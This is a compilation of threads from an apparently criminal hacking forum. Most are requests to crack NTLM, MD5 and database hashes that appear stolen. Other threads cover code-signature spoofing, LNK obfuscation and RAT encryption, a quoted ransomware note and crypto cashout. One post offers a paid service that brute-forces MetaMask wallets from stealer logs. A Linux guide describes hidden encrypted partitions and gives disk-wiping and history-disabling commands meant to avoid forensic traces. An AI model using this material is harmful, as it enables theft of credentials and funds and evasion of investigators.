Spoiler: NTLMv2-SSP

[SMB] NTLMv2-SSP Username : DOMAIN\DES-NY-AD2012$
[SMB] NTLMv2-SSP Hash : DES-NY- AD2012$::DOMAIN:3ef3bfd33a770791:FA441794BEA0B581F38FA836092F32C8:010100000000000080263C93CD1BDB01478B8394659A6041000000000200080032004F003900590001001E00570049004E002D005800320048004300550037003400350042004A00350004003400570049004E002D005800320048004300550037003400350042004A0035002E0032004F00390059002E004C004F00430041004C000300140032004F00390059002E004C004F00430041004C000500140032004F00390059002E004C004F00430041004C000700080080263C93CD1BDB0106000400020000000800300030000000000000000000000000400000216F0708D24E9CE72B6B81FBC876A075035F2993B811B9407C1A46C86EE217BB0A001000000000000000000000000000000000000900260063006900660073002F00340035002E003100350039002E003200340038002E003200300031000000000000000000

Ищу человека с опытом в Hashtopolis
ID: 676536fbb4103b69df37374a
Thread ID: 120855
Created: 2024-08-15T19:04:25+0000
Last Post: 2024-08-15T19:04:25+0000
Author: WANNAKILL
Replies: 0 Views: 512

Нужна консультация, платно

У кого есть баланс на cmd5.org ? вытащите пароль от хеша пожалуйста
ID: 676536fbb4103b69df373736
Thread ID: 124648
Created: 2024-10-12T11:12:16+0000
Last Post: 2024-10-12T12:43:29+0000
Author: Dead_silence
Replies: 3 Views: 510

У кого есть баланс на cmd5.org ? вытащите пароль от хеша пожалуйста

Code:Copy to clipboard

$1$x7vA.NUY$VJSkhVo2LkoalRyHqmgUr1
Применение шифра Вернама
ID: 676536fbb4103b69df373738
Thread ID: 124494
Created: 2024-10-10T11:59:09+0000
Last Post: 2024-10-10T12:58:54+0000
Author: ppsmoke
Replies: 4 Views: 504

Добрый день, форумчане! У меня есть вопросы касаемо применения криптосистемы одноразовых блокнотов в контексте передачи небольших сообщений.

Предположим, есть отправитель, получатель и незащищенный канал связи. От отправителя и получателя требуется выучить или спрятать мастер-ключ некоторой длины. Передача сообщений происходит следующим образом: сначала передается хранилище с рандомными ключами (длина каждого ключа заведомо больше длины любого сообщения которое может передаваться), хранилище передается в зашифрованном виде (ксор с мастер-ключом). Далее передаются сообщения, каждое из которых шифруется соответствующим по номеру ключом из хранилища (ксор), после получения и расшифровки ключ удаляется. Когда все ключи использованы, отправляется следующее зашифрованное мастер-ключом хранилище и следующие сообщения и т.д.

Вопросы:
Является ли описанная система криптостойкой (предположим, что атакуется именно канал связи или что атака на отправителя/получателя невозможна)? Правильно ли я понимаю, что компрометация такой системы сводится к брутфорсу возможных мастер-ключей, так как никакой логики в используемых паролях нет? Если да, то какая должна быть минимальная длина мастер-ключа, чтобы его брутфорс был нереализуем никакими реальными вычислительными мощностями?

Подмена сертификата ехе файла
ID: 676536fbb4103b69df3737f7
Thread ID: 72424
Created: 2022-08-30T05:27:14+0000
Last Post: 2022-09-02T17:21:44+0000
Author: jeric
Replies: 11 Views: 501

Нигде не могу найти актуальную рабочую инфу о способах подмены сертификата ехе файла. На гитхабе нашел утилиту sigthief, но она не рабочая, на форуме в одной из статей видел описание что то типа..."возьмите подпись у проверенного файла и поменяйте", но конкретики тоже никакой. Кому не сложно и не жалко помогите разобраться.

cracking data
ID: 676536fbb4103b69df373744
Thread ID: 121822
Created: 2024-08-31T14:12:32+0000
Last Post: 2024-08-31T14:12:32+0000
Author: seal
Replies: 0 Views: 497

Hello Please i am looking for someone to crack this data for me
i will be paid for i... sample below

Spoiler: crack

100030, '185.74.255.108',NULL,'5a253ed2e628b82ebdf07a15','b5869095-3a5b-4cb6-8340-aa9b7d2df4bf',NULL,'2019-04-30 18:42:43','2019- 05-02 14:26 :40','2019-04-30 18:42:43',NULL,0,0,NULL, '2023-12-24 15:12:23', '2023-12-24 15:12:23' ),
100031, '103.157.97.225',NULL,'5b8a94391739680075f72a66','50dac2d2-9293-4345-97ca- cf49dc6cafb8',NULL,,'2019-05-02 02:28:44 PM' 2023- 12-24 15:13:23', '2024-01-06 02:37:48'),
100032,

Дешифровать данные из QR кода
ID: 676536fbb4103b69df373765
Thread ID: 104165
Created: 2023-12-16T11:19:30+0000
Last Post: 2023-12-23T16:08:53+0000
Author: Shiro
Replies: 4 Views: 497

Существует вот такой qr код, при сканировании выдаётся какой-то текст, он нас особо не волнует, перевожу в байты - получаю уже что то, вижу там последовательности (20 штук в каждом qr ровно) - EA B0, если у кого то есть догадки - маякните в лс, отблагодарю словесно и материально

Metamask android wallet extraction
ID: 676536fbb4103b69df373775
Thread ID: 100223
Created: 2023-10-16T17:12:46+0000
Last Post: 2023-10-30T17:17:22+0000
Author: HEDGEH0G
Replies: 1 Views: 496

Hello everyone, i am in a stupid situation where metamask bugged out for me and does not allow to log in with a correct password.

My question would be if there is any way to extract the wallet file itself?

No, i do not have SRP saved.

[Вопрос] Перевод имеющихся словарей в MD5
ID: 676536fbb4103b69df37382e
Thread ID: 61813
Created: 2022-01-22T16:16:42+0000
Last Post: 2022-02-04T20:54:34+0000
Author: F0xman
Replies: 7 Views: 496

Доброго времени всем. Есть ли инструменты, для перевода имеющихся словарей в хэш MD5? Списки по 10-30 гигов.

Quantum Technologies in Cybersecurity: Threats, and Practical Implications for Offensive Operations 1/???
ID: 676536fbb4103b69df373731
Thread ID: 125189
Created: 2024-10-20T15:27:27+0000
Last Post: 2024-10-20T16:50:03+0000
Author: Shootem
Replies: 2 Views: 494

Author : Shootem
Specifically for : xss.is

Hello. I was wondering which category to attach this "article" to, and unfortunately none met the conditions of my article's subject matter. Therefore, I am sharing it here because to some extent, it fits the content most appropriately.

This trial "article" I provide an overview of quantum technologies and their potential implications for cybersecurity, focusing on both theoretical capabilities and practical implementations expected as quantum computing reaches maturity. The analysis covers current developments in quantum computing that are advancing beyond proof-of-concept demonstrations toward practical quantum advantage. If there is interest in this topic, I can write a whole series of articles discussing all the basics mainly of quantum mechanics, about quantum computers and their capabilities compared to classical computers, key issues, the connection of quantum mechanics/physics in offensive and defensive cybersecurity and the etc. I believe that early interest in this topic may be crucial in future cybersecurity.

Introduction :
The development of quantum technologies opens new possibilities in the field of offensive cybersecurity. This trial "article" presents a basic analysis of potential threats and applications, based on current research and practical implementations.

1. Quantum Cryptography and Its Vulnerabilities

1.1Theoretical Foundations of QKD:
Quantum Key Distribution (QKD) is based on fundamental principles of quantum mechanics:

Code:Copy to clipboard

|ψ⟩ = α|0⟩ + β|1⟩, where |α|² + |β|² = 1
  • ψ⟩ represents the wave function - it describes the quantum state of the system
  • |0⟩ and |1⟩ are:
    • Base states (like up/down or on/off)
    • Called "ket" notations
    • Represent opposite states
  • α and β are:
    • Complex numbers
    • Amplitude coefficients
    • Determine probability of measuring each state
  • |α|² + |β|² = 1 means:
    • Total probability must equal 100%
    • Square of amplitudes must sum to 1
    • Ensures mathematical consistency
  • This equation as a whole:
    • Describes quantum superposition
    • Shows system can exist in multiple states simultaneously

This quantum state represents the basic unit of quantum information (qubit).

1.2 Attacks on QKD Systems:

Attacks on photon detectors:
Photon detectors can be blinded by strong laser pulses. In this case, the laser intensity is so high that the detector stops accurately detecting weaker signals, which can be exploited to manipulate the data.
Another method involves manipulating the detection efficiency by controlling the detector's temperature, which can reduce its sensitivity.
The equation describing detector vulnerability is:

Code:Copy to clipboard

η(λ,P) = η₀exp(-βP/P₀)

where:

  • η is the detection efficiency,
  • λ is the wavelength,
  • P is the pulse power.

b) Man-in-the-Middle at Quantum Level

- Interception and retransmission of quantum states
- Exploitation of hardware imperfections
- Key equation for timing attack:

Code:Copy to clipboard

Δt = (n₁ - n₂)L/c

where:

  • Δt - time difference
  • n₁,n₂ - refractive indices
  • L - fiber length

2. Quantum Sensors in Offensive Applications

2.1 Quantum Magnetometry:
Quantum magnetometer sensitivity is described by the equation:

Code:Copy to clipboard

δB ≈ ℏ/(gμₐ√T)

where:

  • δB - minimum detectable field change
  • T - measurement time
  • g - gyromagnetic factor

Practical applications:
- Detection of electronic signals through barriers
- Analysis of electromagnetic emissions from devices
- Precise mapping of underground infrastructure

2.2 Quantum Gravimetry:

Code:Copy to clipboard

Δg = Gρ(2πR)

where:

  • Δg - gravitational acceleration change
  • G - gravitational constant
  • ρ - material density
  • R - object radius

3. Quantum Computing in Cryptanalysis

3.1 Shor 's Algorithm:
Complexity: O((log N)³), compared to classical O(exp((log N)^(1/3)))

Code:Copy to clipboard

|x⟩ → ∑ᵧ|x,0⟩ → ∑ᵧ|x,f(x)⟩

3.2 Grover 's Algorithm:
Complexity: O(√N), compared to classical O(N)

Code:Copy to clipboard

|ψ⟩ = (2|ω⟩⟨ω| - I)(2|s⟩⟨s| - I)|ψ⟩

3.3 Practical Implications for Security Systems:
- Breaking RSA: modulus N = pq
- Attacks on ECC: points on elliptic curve E(Fp)
- Accelerated key space searching

4. Advanced Attack Techniques

4.1 Side-Channel Using Quantum Effects

Code:Copy to clipboard

ρ(t) = Tr[U(t)ρ₀U†(t)O]

where:

  • ρ(t) - observed quantity
  • U(t) - evolution operator
  • O - observable operator

4.2 Quantum Ghost Imaging for Intelligence Purposes

Code:Copy to clipboard

G(x₁,x₂) = ⟨E*(x₁)E(x₂)⟩


↑ <----> https://royalsocietypublishing.org/doi/10.1098/rsta.2016.0233

Summary
Quantum technologies are revolutionizing the field of offensive cybersecurity, offering both new possibilities and challenges. Understanding not only theoretical foundations but also practical limitations and implementation possibilities is crucial.

Anticipating potential questions, as this is a slightly different topic (although closely related) to the entire forum, I did not focus on a comprehensive explanation, this is more of a trial "article" in order to see potential interest or lack thereof, therefore it would be nice if each reader could comment on this topic, whether they are perhaps interested in this type of topic.

Data crypt - what program?
ID: 676536fbb4103b69df3737d4
Thread ID: 79943
Created: 2023-01-14T12:43:06+0000
Last Post: 2023-01-14T12:43:06+0000
Author: ruffuz507
Replies: 0 Views: 488

Hi, i have one problem in my computer. My all data was being encrypted. All files have extension (.QUIETPLACE) and i cant do anything with this. How i can find source of this virus and how i can decrypt my data? If i try open any file i see this TXT file from hacker:

All your files have been encrypted with Our virus.
Your unique ID: 76JZ7zdfUesJsc0v3iMTqlC-qkk3SfJAxjk_h7AljCA*QUIETPLACE

You can buy fully decryption of your files
But before you pay, you can make sure that we can really decrypt any of your files.
The encryption key and ID are unique to your computer, so you are guaranteed to be able to return your files.

To do this:

  1. Send your unique id 76JZ7zdfUesJsc0v3iMTqlC-qkk3SfJAxjk_h7AljCA*QUIETPLACE and max 3 files for test decryption
    OUR CONTACTS
    1.1)TOX messenger (fast and anonimous)

tox.chat

A New Kind of Instant Messaging

Whether it's corporations or governments, there's just too much digital spying going on today. Tox is an easy to use application that connects you with friends and family without anyone else listening in. While other big-name services require you to pay for features, Tox is totally free and...

tox.chat tox.chat

Install qtox
press sing up
create your own name
Press plus
Put there my tox ID
95CC6600931403C55E64134375095128F18EDA09B4A74B9F1906C1A4124FE82E4428D42A6C65
And add me/write message
1.2)ICQ Messenger
ICQ live chat which works 24/7 - @mcdonaldsdebtzhlob
Install ICQ software on your PC here https://icq.com/windows/ or on your smartphone search for "ICQ" in Appstore / Google market
Write to our ICQ @pedrolloanisimka https://icq.im/mcdonaldsdebtzhlob
1.3)Skype
MCDONALDSDEBTZHLOB DECRYPTION
1.4)Mail (write only in critical situations bcs your email may not be delivered or get in spam)

I can pay for help but i need help fast (till monday). How you can tell about this?
Thanks in advance

брут хэша в hashcat
ID: 676536fbb4103b69df37380e
Thread ID: 65031
Created: 2022-03-28T06:58:17+0000
Last Post: 2022-05-27T21:25:23+0000
Author: ExitQ
Replies: 6 Views: 486

Друзья! Я думаю мне здесь помогут как ни в каком другом треде!
Как я могу в hashcat'e брутить хэш, зная, что в этом хэше 100% будет слово "upload" (к примеру), но при этом перед этим слоном могут быть N количество ЛЮБЫХ символов и после этого слова могут быть N количетсво любых симовлов, либо-же только второй вариант, или-же только первый вариант.
В общем знаю только то, что в тексе который я расшифровываю - есть это слово, а остальных деталей не знаю.

Что мне нужно вписать, чтоб hashcat начал брутить хэш, беря за основу мое слово "upload"?
К примеру чтоб варианты были такие:
123upload123
!2#Rupload
upload123
upload!2#F

PS
количество символов неизвестно.

pss
23badcf1ab94266f0fdcb1d89fc13583 - ntlm (это чтоб от основной темы треда не отбиваться :D)

дешифратор String.fromCharCode
ID: 676536fbb4103b69df37385c
Thread ID: 54334
Created: 2021-07-23T20:04:29+0000
Last Post: 2021-07-23T22:41:51+0000
Author: likaku
Replies: 4 Views: 484

Подскажите, чем можно расшифровать базу мыл, зашифрованных этим? Может есть какой нибудь онлайн дешифратор?

Android rat encrypt
ID: 676536fbb4103b69df37377d
Thread ID: 97815
Created: 2023-09-11T12:14:14+0000
Last Post: 2023-09-11T12:14:14+0000
Author: HASTA
Replies: 0 Views: 480

how to encrypt an android rat apk

Chrome 127 App-Bound Encryption Decryption
ID: 676536fbb4103b69df37372e
Thread ID: 125774
Created: 2024-10-29T09:57:34+0000
Last Post: 2024-10-29T13:39:21+0000
Author: Eject
Replies: 1 Views: 477

App-Bound Encryption (ABE) было введено в Google Chrome в версии 127 для усиления защиты конфиденциальных данных путем привязки возможностей дешифрования к определенным приложениям, что предотвращает их неправомерное использование другими процессами в системе.

Этот инструмент расшифровывает привязанные к приложениям зашифрованные ключи, хранящиеся в файле локального состояния Chrome, используя внутреннюю службу IElevator на базе COM. Инструмент позволяет получить и расшифровать эти ключи, которые Chrome защищает с помощью App-Bound Encryption (ABE), чтобы предотвратить несанкционированный доступ к таким защищенным данным, как куки (и, возможно, пароли и платежные данные в будущем).

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fe960a3ead892287ec4716e8063ee447543d6a4ca256a1e5a047710de2515e1a8%2Fxaitax%2FChrome- App-Bound-Encryption- Decryption&hash=aa4b5451e87067f4848e7838369d0334&return_error=1)

[ GitHub - xaitax/Chrome-App-Bound-Encryption-Decryption: Tool to decrypt

App-Bound encrypted keys in Chrome 127+, using the IElevator COM interface with path validation and encryption protections. ](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption)

Tool to decrypt App-Bound encrypted keys in Chrome 127+, using the IElevator COM interface with path validation and encryption protections. - xaitax/Chrome-App-Bound-Encryption-Decryption

github.com github.com

Можно ли как-то обусифицировать строки параметров LNK файла?
ID: 676536fbb4103b69df373781
Thread ID: 96194
Created: 2023-08-21T11:45:06+0000
Last Post: 2023-08-21T13:20:01+0000
Author: AegisCrypter
Replies: 3 Views: 477

Можно ли как нибудь обусифицировать строки в параметрах файла lnk
1692618297855.png

Need help - NTLM Hash Cracking
ID: 676536fbb4103b69df373840
Thread ID: 56972
Created: 2021-09-22T20:45:34+0000
Last Post: 2021-11-14T13:55:00+0000
Author: bhwolf
Replies: 4 Views: 477

Hello,
I tried to crack this hash and also tried with onlinehashcrack (waited 5 days) but got no results at all.
It's Windows 10 password dumped using Mimikatz from SYSTEM and SAM files.
NTLM:

13dfc6371813127eed62c5d3c133b237

Please DM me if you succeed in cracking it.
Greets.

Восстановление криптоключей по яркости LED-индикатора питания
ID: 676536fbb4103b69df37379a
Thread ID: 91347
Created: 2023-06-25T19:31:31+0000
Last Post: 2023-06-25T19:31:31+0000
Author: baykal
Replies: 0 Views: 475

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fr%2Fw1560%2Fwebt%2Faf%2F6a%2Frj%2Faf6arjdlv_6vskyhtx2mkgc- idi.jpeg&hash=b97536d8bfde8215718c3aaa1cb6d05e)
Экспериментальная установка. Камера наблюдения (слева) снимает индикатор питания на смарт-ридере (справа) с расстояния 16 м

Известный эксперт в области криптоанализа Бен Насси (Ben Nassi) с коллегами из университета им. Бен-Гуриона [опубликовали](https://www.nassiben.com/video- based-crypta) результаты уникальных экспериментов по восстановлению криптографических ключей с помощью видеозаписи светодиода питания устройства, на котором хранится/используется этот ключ.

Для извлечения секретного ключа достаточно нескольких секунд видеозаписи с камеры наблюдения (издали) или со смартфона (вблизи, с роллинг- шаттером).

Криптоанализ на основе видео​

Восстановление секретных криптографических ключей на основе простого наблюдения (видеозаписи) светодиода — это принципиально новый метод криптоанализа.

В опубликованной статье авторы показывают, что криптографические вычисления на CPU изменяют энергопотребление устройства. Это влияет на яркость светодиода питания.

Злоумышленники могут использовать стандартные видеокамеры (например, камеру iPhone 13 или видеокамеру безопасности, подключённую к интернету) для извлечения секретных ключей из устройств. Со смартфона нужно снимать с очень близкого расстояния, чтобы изображение светодиода заполняло весь кадр. В этом случае можно использовать временно́й параллакс (роллинг-шаттер) видеокамеры — об этом ниже.

Кадры светодиода анализируются в пространстве RGB, а энергопотребление вычисляется из соответствующих значений RGB.

Значения RGB из 96-ти последовательных кадров (со 103 680 строками) видеозаписи светодиода питания смарт-ридера во время выполнения шести различных операций подписи ECDSA, разделённых эпизодами бездействия длительностью 200 мс. Цвета соответствуют каналу RGB,источник

В качестве демонстрации исследователи осуществили две криптоаналитические атаки по сторонним каналам (в данном случае это канал времени). В первой они восстановили 256-битный ключ ECDSA от смарт-карты путём анализа видеозаписи смарт-ридера через взломанную камеру наблюдения, расположенную в 16 м. Во втором восстанавливается 378-битный ключ SIKE от Samsung Galaxy S8 путём анализа видеозаписи светодиода питания USB-динамиков Logitech Z120, которые подключены к тому же USB-концентратору, который используется для зарядки Galaxy S8. Запись ведётся с близкого расстояния качественной камерой iPhone 13 Pro Max.

Роллинг-шаттер для смартфона​

Особый интерес вызывает метод, который исследователи применили для увеличения частоты дискретизации видеокамеры смартфона с помощью временно́го параллакса (роллинг-шаттер), то есть последовательного считывания разных частей оптического изображения. При этом изображение искажается, как все видели на фотографиях фотофиниша бегунов и других спортсменов.

Дело в том, что большинство коммерческих смартфонов и охранных/IP-видеокамер снимают видео с максимальной частотой 60−120 FPS, чего недостаточно для проведения криптоанализа. Чтобы увеличить количество измерений в секунду (частоту дискретизации) до необходимого уровня, злоумышленник может применить временно́й параллакс или роллинг-шаттер видеокамеры.

При использовании этого метода кадр/картинка фактически состоит не из одного снимка, сделанного в определённый момент времени, а из нескольких снимков, сделанных по вертикали/горизонтали в разное время. Следующая диаграмма наглядно демонстрирует этот процесс:


При вертикальном роллинг-шаттере пиксели сенсора экспонируются и считываются последовательно ряд за рядом в разное время сверху вниз (или слева направо) в соответствии с настраиваемой выдержкой (E). Она определяет количество времени, в течение которого сенсор подвергается воздействию света. Поскольку каждый ряд в сенсоре снимается в разное время, злоумышленники могут увеличить частоту дискретизации со стандартной частоты видеокамеры (60/120 FPS) до скорости записи рядов, которая основана на скорости затвора.

Для этого необходимо установить затвор видеокамеры на максимальную скорость и приблизить видеокамеру к светодиоду так, чтобы вид светодиода заполнил весь кадр видеозаписи. Таким образом, злоумышленник гарантирует, что всё время сканирования кадра (на диаграмме выше S) посвящено получению RGB-образцов светодиода. Это позволяет увеличить частоту дискретизации на несколько порядков: с 60−120 измерений в секунду до приблизительной частоты затвора видеокамеры (60 тыс. измерений в секунду на iPhone 13 Pro Max).

Тепловая карта расчётного времени выполнения 7826 операций подписи ECDSA в зависимости от количества ведущих нулевых битов в нонсе

Эксперименты​

Исследователи провели два эксперимента:

  1. Восстановление ключа ECDSA по видеозаписи LED-индикатора питания смарт-ридера с веб-камеры на расстоянии 16 и 5,5 м через двухслойное стекло. Достаточно нескольких секунд видеозаписи
  2. Восстановление ключа SIKE от Samsung Galaxy S8 с помощью видеозаписи LED-индикатора питания USB-динамиков Logitech Z120. При этом видеозапись получена с помощью iPhone 13 Pro Max


Вторая экспериментальная установка. Видеокамера iPhone 13 Pro Max направлена (через объектив) на светодиод питания колонок Logitech Z120

Статья «Криптоанализ на основе видео: Извлечение криптографических ключей из видеозаписи светодиода питания устройства» опубликована 14 июня 2023 года в электронном журнале Cryptology ePrint Archive.

Источник habr.com

Hashcat. Определение времени брута по готовым параметрам.
ID: 676536fbb4103b69df373784
Thread ID: 93684
Created: 2023-07-22T20:20:52+0000
Last Post: 2023-08-12T16:31:07+0000
Author: user_47
Replies: 5 Views: 472

Доброго времени суток.

Товарищи форумчане, подскажите параметр или команду для определения времени выполнения команды перед запуском брута при работе с hashcat`ом.

Несколько часов уже бьюсь, ничего не получается. Вроде всё крутиться вокруг бенчмарка (параметр -b). но как то не так.

Хешь подставил, маску сформировал. И чтобы не разгонять железо в пустую хотелось бы по быстрому прикинуть количестов времени на всё операцию.

Где то была записана в шпаргалках. Потерял. Гугление и прочий поиск дельного ничего по этому вопросу не дал...

What is proxyjacking?
ID: 676536fbb4103b69df373796
Thread ID: 92110
Created: 2023-07-05T02:41:17+0000
Last Post: 2023-07-09T15:20:18+0000
Author: LaLa
Replies: 1 Views: 470

Cryptojacking has become fairly well-known around the world: Victim

resources are stolen to contribute to a mining pool in exchange for money that is given to the attacker. A lesser-known technique that has been on the rise recently is called proxyjacking. ​

With proxyjacking, the attacker doesn't just steal resources but also leverages the victim's unused bandwidth. The victim's system is covertly used to run various services as a P2P proxy node that the attackers have recently started to monetize through organizations such as Peer2Profit or Honeygain. These companies provide the average user the opportunity to get paid for their extra bandwidth, an attractive, and legitimate, prospect to many people and entities.
However, these sites often do not ask questions about how the new proxy node was sourced, which is where the illegitimacy begins. Although the act of proxyjacking has been around for some time now, it has only recently begun to be used strictly for profit, which is what we have observed in this campaign.

Где скачать скачать зашифрованые файлы можно для тренировки
ID: 676536fbb4103b69df373835
Thread ID: 60850
Created: 2022-01-04T12:44:03+0000
Last Post: 2022-01-04T17:29:28+0000
Author: Onyx350
Replies: 4 Views: 470

Народ всем здравствуйте, такое дело незнаю де можно скачать зашифрованые файлы, я просто учусь работать с hashcat, и хотел бы погонять эту и прогу и свою видеокаркту на предмет расшифровки файлов, дайте сылкы или подскажите пожалуйста де можно скачать файлы зашифрованые и если можно подскажите пожалуйста де скачать разные словари для hashcat,
Заранее спасибо.

Makop and hcns
ID: 676536fbb4103b69df37382c
Thread ID: 62030
Created: 2022-01-27T11:22:48+0000
Last Post: 2022-02-04T21:11:49+0000
Author: Artem2245
Replies: 11 Views: 461

Hi guys

Does anyone know about Makop?

He has not been online in TOX or Jabber for almost a week

Both accounts disappeared (makop and hcns)

Phatnom Wallet brute
ID: 676536fbb4103b69df3737fa
Thread ID: 72063
Created: 2022-08-22T12:39:53+0000
Last Post: 2022-08-24T18:25:57+0000
Author: impwned
Replies: 5 Views: 457

Приветствую, уже давно мучает вопрос, есть ли скрипт для экстракта хеша с .log и модуль в хешкете под алгоритм Phantom'а?

Нужен cashout - кошелек Binance-chain
ID: 676536fbb4103b69df3737f0
Thread ID: 73547
Created: 2022-09-23T19:41:51+0000
Last Post: 2022-09-24T15:27:30+0000
Author: i0pht
Replies: 3 Views: 456

Ищу того, кто может вывести деньги с цепного кошелька Binance. Если кто-то предлагает такие услуги, свяжитесь со мной.

ntlm, price 30-50$
ID: 676536fbb4103b69df373825
Thread ID: 60951
Created: 2022-01-06T22:42:51+0000
Last Post: 2022-02-18T02:14:08+0000
Author: Megalodon
Replies: 1 Views: 452

78e596e1ca75c86ecbea6ff94020e1d9
b8d5592b883ef96eb94bcc1100f65e25
54e230593f108c445764c25a89836e00
1385dedf8f50ab31c6ed673f13d9c0ec
299c9e476677854753acc5b118bb377b
d3405de6f3dc214619a86abf570f8227
43682a472f8464b3eb39103c264dbdc6
9a7c97840d6b58081ca4a5ddb7157578
8fdc78d78d1b89f7bd49a7180095b336
b2a732192b7fe7b92430ecb3c7c5d29a
ef3c9fb17dc64cd40761f5f29195df57

NTLM
Возможно немецкие символы

Hidden content for authorized users.

Подбор пароля к вашим кошелькам Metamask 85/15
ID: 676536fbb4103b69df3737f3
Thread ID: 72819
Created: 2022-09-07T08:08:54+0000
Last Post: 2022-09-07T08:08:54+0000
Author: ServerGPU
Replies: 0 Views: 442


Подбираю пароль к кошелькам MetaMask
Возьмусь за то что не сбрутили другие,
перед отправкой лога скидывайте адрес.

Сервера:
**RTX 3090 - 350 шт

Подбираю пароль на основе существующих пассов.
Использую приватный словарь на 200+ гб.**

Принимаю логи любой давности, главное:
**- Наличие папки wallets в логе

  • Файл с паролями**
    **- Не принимаю паблик

Процент (%)
100$-1000$ ваши 85%**
1000$ -5000$** ваши 80%
5000$-10000**$** ваши 75%
от 10000$ ваши 70%**

Для постоянных клиентов процент 70/30

Сбручу кошелёк до 100$ за отзыв ;)

СНГ кошельки в работу не беру!

Tg: ServerGPU
Jabber: servergpu@xmpp.jp

Linux с двойным дном
ID: 676536fbb4103b69df37378c
Thread ID: 93859
Created: 2023-07-24T18:04:48+0000
Last Post: 2023-07-24T20:22:46+0000
Author: baykal
Prefix: Статья
Replies: 1 Views: 439

В этой статье я расскажу как сделать так, чтобы ваша линуксовая машинка выглядела невинной игрушкой, но при вводе нескольких команд превращалась в настоящую боевую единицу. Конечно, у вас могут найти на диске сектора с необычно высокой энтропией, несколько подозрительных системных настроек, но никаких явных зашифрованных разделов, файлов, или сторонних шифровалок. Конечно, вас могут спросить - "а для чего тебе cryptsetup, сынок?", на что вы ответите - "это же Linux Mint, это всё искаропки!" Хуже, если бы вас спросили: зачем ты используешь LUKS, или, что ещё хуже, зачем ты поставил VeraCrypt или Shufflecake.

В любом случае как отмазываться - не тема этой статьи. В комментариях расскажут всё, и даже гораздо больше. Я лишь описываю способ со всеми его достоинствами и недостатками, а уж анализ рисков - на ваше усмотрение.

Главное в системе с двойным дном - это, конечно же, секретные зашифрованные разделы, которые нигде не отсвечивают. Мой способ - это cryptsetup поверх losetup. Особенность losetup в том, что он может создать устройство в любом месте - даже на примонтированной файловой системе, и при этом не станет возмущаться, как dm, что устройство уже используется. Способ не работает на слабых машинках с диском, подключенным через USB, таких как, например, NanoPI Zero, у которых 32-битный Allwinner H3, но начиная с 64-битных H6 или Rockchip RK3328 и выше, а тем более на всяких ваших Intel и AMD никаких проблем я не наблюдаю уже несколько лет.

Но! Проблемы появляются, если объединить много loop устройств в одно с помощью dm. То есть, использовать все более-менее крупные свободные блоки файловой системы ext4. Даже мой i3 такое не вытянул. Я не помню точно, какие ошибки были в dmesg, но что-то связанное с асинхронной обработкой внутри ядра. На слабеньких 32-битных Allwinner - то же самое даже с одним loop. Глубоко в проблему я не нырял, просто перестал использовать проблемный подход.

Самая удобная файловая система для скрытых разделов - конечно, же FAT. Создаёшь обычный раздел, скидываешь туда фотки котиков для отмазки, и всё остальное место остаётся доступным в виде одного цельного блока. Конечно, со скрытым разделом ничего писать в файловую систему уже не стоит, поэтому либо соблюдаем аккуратность, либо монтируем только на чтение, либо не монтируем вообще. И не забываем про бэкапы. А на случай, если вас всё-таки попросят туда что-нибудь записать, создаём скрытый раздел не прям сразу с первого свободного сектора, а чуть подальше, учитывая последовательное распределение.

Ext4 гораздо хуже, там сильная фрагментация свободного места, тем не менее, для небольших оверлейных разделов /etc, /var, и т.п. вполне годится.

Вы, конечно, спросите, а как найти нетронутое свободное место на просторах файловой системы, да и вообще на диске? Возможно, есть готовое решение, но для себя я всё привык делать сам, и у меня для этого есть несложный скрипт. Идея простая: заполняем весь диск случайными данными из /dev/urandom, вычисляем и сохраняем в файле хэши секторов, устанавливаем систему, а потом снова вычисляем хэши, смотрим, какие сектора изменились, и таким образом находим нетронутые блоки.

К тому же, заполнение диска случайными данными - это ещё и обязательный шаг инициализации. Если создать шифрованный раздел сразу, то легко найти где он начинается и где заканчивается. А когда замусорен весь диск - попробуй, пойми, есть ли там вообще что-либо зашифрованное.

Тут, конечно, стоит упомянуть о маркерах. В алгоритмах шифрования могут быть намеренные изъяны, которые приводят к определённым сигнатурам в зашифрованных данных. То есть, вы можете скачать какую-нибудь порнуху на зашифрованный раздел и на этом попасться. Так что, поаккуратнее. Защититься от этого можно двойным шифрованием, cryptsetup поверх cryptsetup, желательно разными алгоритмами. При необходимости вы сами сможете запросто это реализовать.

Готовимся шифроваться​

Вам понадобится мой тулкит, который автоматизирует всю рутину. Скачайте его, только сразу на флешку, которую, впоследствии надо будет хорошенько затереть из /dev/urandom. Следов оставлять нельзя.

Вы сейчас наверняка используете незащищённую систему. Не лезьте на мой гитхаб из браузера - это осядет в истории и будет работать против вас. То, что вы читаете эту статью, ещё можно объяснить любопытством, но скачивание тулкита - это уже намерение и +1 к подозрениям. Допустим, флешка у вас примонтирована в /mnt/flash. Первая команда - отключение записи истории (если у вас не bash, используйте свои методы):

Code:Copy to clipboard

HISTFILE=
swapoff
cd /mnt/flash
git clone git@github.com:amateur80lvl/pdt.git

Инициализируем диск (к примеру, /dev/sdc) случайными данными:

Code:Copy to clipboard

dd if=/dev/urandom of=/dev/sdc bs=4K status=progress

и вычисляем хэши секторов:

Code:Copy to clipboard

python3 secha.py compute /dev/sdc original-sector-hashes

original-sector-hashes - это имя файла для хэшей. Для экономии места я использовал 64-битный blake2s, с которым я не наблюдал коллизий на 128GB SSD - лично мне больше и не надо. Для анализа диска размер хэша не особо критичен, но с 48 битным коллизии уже наблюдаются. Я их искал простой программкой на C++ (на питоне такое не напишешь - сожрёт всю память). Для верности, конечно, можете подкрутить размер хэша до 96 или 128 бит, поправив исходник secha.py.

Подготовка диска​

Сразу устанавливать свой любимый Linux не надо! Инсталляторы, как правило, тупые до безобразия, да и TRIM везде включен по умолчанию. С ним все ваши хэши окажутся бесполезны. Разбивку диска и форматирование разделов надо провести заранее, а инсталятору сказать, чтобы ничего не трогал и ставил куда скажут.

Разделов желательно создать как минимум два: один системный, второй - для скрытых данных. В принципе, можно обойтись одним системным разделом, а скрытый раздел можно создать и на свободной части диска. Но для отмазки второй раздел лучше создать, отформатировать, и накидать туда каких-нибудь файлов.

Да, не забываем про UEFI раздел, если нужен.

Раздел подкачки создавать категорически не рекомендую, без его шифрования все ваши секретные данные из оперативки запросто утекут в открытом виде на диск, а способа скрытого шифрования этого раздела я не знаю. Явное же шифрование вызовет вопросы и подозрения.

TRIM надо отключить обязательно. Сначала на этапе форматирования раздела опцией nodiscard:

Code:Copy to clipboard

mkfs -t ext4 -E nodiscard /dev/sdc1

